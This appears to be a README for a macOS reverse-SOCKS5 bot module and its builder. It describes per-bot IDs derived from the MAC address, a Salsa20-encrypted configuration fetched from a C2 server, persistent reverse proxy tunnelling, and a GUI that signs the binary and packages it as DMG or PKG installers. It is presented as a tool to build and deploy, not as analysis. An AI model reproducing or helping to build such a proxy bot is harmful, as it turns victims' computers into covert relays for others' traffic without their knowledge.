Client Socks5

Building the Client

Quick start for testing:

chmod +x build.sh
./build.sh

The build.sh script automatically:

• Checks for the presence of Xcode command-line tools
• Verifies all necessary source files
• Locally signs the binary file
• Launches the built app bundle

Client Operation

The module is launched once per bot_id using a mutex.

1. POST /config — receives an encrypted Salsa20 response containing {login, password, address, version}
2. Reverse SOCKS5: establishes a persistent connection to the server, performs SOCKS5 authentication, and supports CONNECT, BIND, and UDP_ASSOCIATE commands.
3. In parallel, polls the control stream every 10 seconds; on HTTP 200 response, stops and exits.

In main.m:

• dynamicBotId — automatically generated based on the MAC address in a specified format.
• servers\":[\"https://127.0.0.1:50443\"] — C2 server address.
• Salsa20 key (32 bytes):

  (uint8_t*)"\x00\x01\x02\x03\x04\x05\x06\x07"
            "\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F"
            "\x10\x11\x12\x13\x14\x15\x16\x17"
            "\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F",
  

• servers\":[\"http://127.0.0.1:1080\"] — backup.

Requirements

• macOS (Apple Silicon M1/M2 or Intel)
• Xcode command-line tools (clang)

GUI Builder

Allows editing parameters and customizing the build process.

Automatically checks and installs dependencies: Python, PyQt5, Xcode CLT, Homebrew, create-dmg, ImageMagick.
Supports modes: debug binary, release .app bundle, DMG (with/without installer), PKG.
Compiles with clang, signs with codesign, adds icons/backgrounds, creates bundles with AppleScript for DMG.

Files:

• build.py: Main Python script with PyQt5 GUI for configuration and building.
